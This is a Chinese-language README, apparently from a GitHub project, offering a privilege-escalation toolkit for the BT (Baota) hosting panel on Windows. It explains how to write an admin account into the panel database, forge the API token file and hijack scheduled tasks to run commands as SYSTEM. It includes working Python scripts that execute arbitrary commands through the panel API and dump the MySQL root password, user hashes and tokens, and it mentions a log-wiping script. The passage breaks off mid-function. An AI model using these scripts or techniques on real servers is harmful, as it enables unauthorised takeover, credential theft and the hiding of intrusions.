本项目整理一些宝塔特性,可以在无漏洞的情况下利用这些特性来增加提权的机会。
项目地址:
https://github.com/Hzllaga/BT_Panel_Privilege_Escalation
记得点个Star!
Table of Contents
写数据库提权
宝塔面板在2008安装的时候默认www用户是可以对宝塔面板的数据库有完全控制权限的:
powershell -Command "get-acl C:\BtSoft\panel\data\default.db | format-list"
对于这种情况可以直接往数据库写一个面板的账号直接获取到面板权限,而在2016安装默认是User权限可读不可写
这种情况可以从里面读取一些敏感信息,比如mysql的root密码,而一般这个配置的不会只有这个文件可读,可以使用其他方法。
盐:
[A-Za-z0-9]{12}
密码:
md5(md5(md5(password) + '_bt.cn') + salt)
可以直接使用
bt_panel_script.py
,脚本会自动新建一个账号。
API提权
宝塔面板支持API操作的,token在
C:\BtSoft\panel\config\api.json
,用这个方法提权还可以无视入口校验,比如有一个
未授权访问的redis是system权限
,就可以直接往这个文件覆盖token直接接管面板,或是利用FileZilla(windows面板默认ftp软件就是FileZilla + 空密码)新建一个C盘权限的账号,也可以去修改那个文件来提权。
API Token:
md5(string)
api.json
{"open": true, "token": "API Token", "limit_addr": ["你的IP"]}
请求时加上(
multipart/form-data
):
request_token = md5(timestamp + token)
request_time = timestamp
可以直接使用bt_panel_api.py
,脚本会自动使用计划任务运行命令,如果面板原本就有配置好API了,并且IP限制127.0.0.1,那么就可以直接端口转发出来直接用脚本提权。
计划任务提权
基本上场景同API提权,可以去修改计划任务文件(比如网站备份),默认是在凌晨1:30执行,权限也是system。
有些面板API会无法登陆,就只能利用计划任务来提权了,缺点是路径不固定,且执行时间也不固定。
自动化测试
python3 .\bt_panel_script.py
使用此脚本可以全自动获取宝塔相关信息,python可以直接用宝塔的,不用担心没环境。
python3 .\bt_panel_api.py -g
这个脚本可以生成api示例,把生成的json替换到指定文件后就能提权。
python3 .\bt_panel_api.py -u "http://192.168.101.5:8888/" -t "085bd64a698cf601ae472425656b2346" -c whoami
python3 .\bt_panel_log_delete.py
这个脚本可以自动清理面板日志
脚本源码,也可以在github地址下载
bt_panel_api.py
import requests
import argparse
import hashlib
import json
import time
import cowsay
def md5(string):
return hashlib.md5(string.encode()).hexdigest()
def get_random_string(length):
from random import Random
strings = ''
chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
char_len = len(chars) - 1
random = Random()
for i in range(length):
strings += chars[random.randint(0, char_len)]
return strings
def get_ip():
return requests.get(url='https://ifconfig.me/ip').text
def generate_example_config():
token = md5(get_random_string(10))
payload = {
'open': True,
'token': token,
'limit_addr': [get_ip()]
}
print(json.dumps(payload))
print('请保存在目标C:\\BtSoft\\panel\\config\\api.json')
print(f"Usage: python bt_panel_api.py -u [URL] -t {token} -c whoami")
def exploit(url, token, cmd):
timestamp = int(time.time())
token = md5(str(timestamp) + token)
api_sk = {
'request_token': (None, f'{token}'),
'request_time': (None, f'{timestamp}'),
}
crontab_name = get_random_string(10)
payload = {
'sType': (None, 'toShell'),
'name': (None, f'{crontab_name}'),
'type': (None, 'day'),
'hour': (None, '1'),
'minute': (None, '30'),
'sBody': (None, f'{cmd}'),
'sName': (None, ''),
'save': (None, ''),
'backupTo': (None, 'localhost'),
}
payload.update(api_sk)
requests.post(url=f'{url}/crontab?action=AddCrontab', files=payload)
payload = {
'page': (None, '1'),
'search': (None, ''),
}
payload.update(api_sk)
crontab = json.loads(requests.post(url=f'{url}/crontab?action=GetCrontab', files=payload).text)
payload = {
'id': (None, f"{crontab[0]['id']}"),
}
payload.update(api_sk)
requests.post(url=f'{url}/crontab?action=StartTask', files=payload)
time.sleep(3)
log = json.loads(requests.post(url=f'{url}/crontab?action=GetLogs', files=payload).text)
print(log['msg'])
requests.post(url=f'{url}/crontab?action=DelCrontab', files=payload)
if __name__ == '__main__':
cowsay.cow('BaoTa Panel Privilege escalation tool\nAuthor: https://github.com/Hzllaga')
parser = argparse.ArgumentParser()
parser.add_argument("-g", "--generate", action="store_true", help='生成一个api示例.')
parser.add_argument("-u", "--url", help='宝塔地址.')
parser.add_argument("-t", "--token", help='API token.')
parser.add_argument("-c", "--command", help='要执行的命令.')
args = parser.parse_args()
if args.generate:
generate_example_config()
else:
if (args.url is not None) & (args.token is not None) & (args.command is not None):
exploit(url=args.url, token=args.token, cmd=args.command)
else:
print('缺少参数')
bt_panel_script.py
import sqlite3
class BT:
def __init__(self):
self.conn = sqlite3.connect('C:/BtSoft/panel/data/default.db')
self.c = self.conn.cursor()
@staticmethod
def read_file(path):
with open(path, 'r') as file:
return file.read()
@staticmethod
def get_random_string(length):
from random import Random
strings = ''
chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
char_len = len(chars) - 1
random = Random()
for i in range(length):
strings += chars[random.randint(0, char_len)]
return strings
@staticmethod
def md5(string):
import hashlib
return hashlib.md5(string.encode()).hexdigest()
def hash_password(self, password, salt):
return self.md5(self.md5(self.md5(password) + '_bt.cn') + salt)
def get_panel_path(self):
return self.read_file('C:/BtSoft/panel/data/admin_path.pl')
def get_default_username(self):
cursor = self.c.execute('select username from users where id=1')
return cursor.fetchone()[0]
def get_default_password(self):
return self.read_file('C:/BtSoft/panel/data/default.pl')
def get_all_user(self):
cursor = self.c.execute('select username, password, salt from users')
return cursor.fetchall()
def get_api_information(self):
import json
api_data = json.loads(self.read_file('C:/BtSoft/panel/config/api.json'))
if api_data['open']:
token = api_data['token']
limit_ip = api_data['limit_addr']
return f'Token: {token}, 限制IP: {limit_ip}'
else:
return '未开启api'
def get_mysql_root_password(self):
cursor = self.c.execute('select mysql_root from config')
return cursor.fetchone()[0]
def insert_panel_user(self, username, password, salt):
password = self.hash_password(password, salt)
try:
sql = f"INSERT INTO users (username,password,salt,email) VALUES ('{username}', '{password}', '{salt}', '[email protected]')"
self.c.execute(sql)
self.conn.commit()
return '写入成功!'
except sqlite3.OperationalError:
return '写入失败。'
def get_database_users(self):
cursor = self.c.execute('select name, username, password, type from databases')
return cursor.fetchall()
def get_ftp_users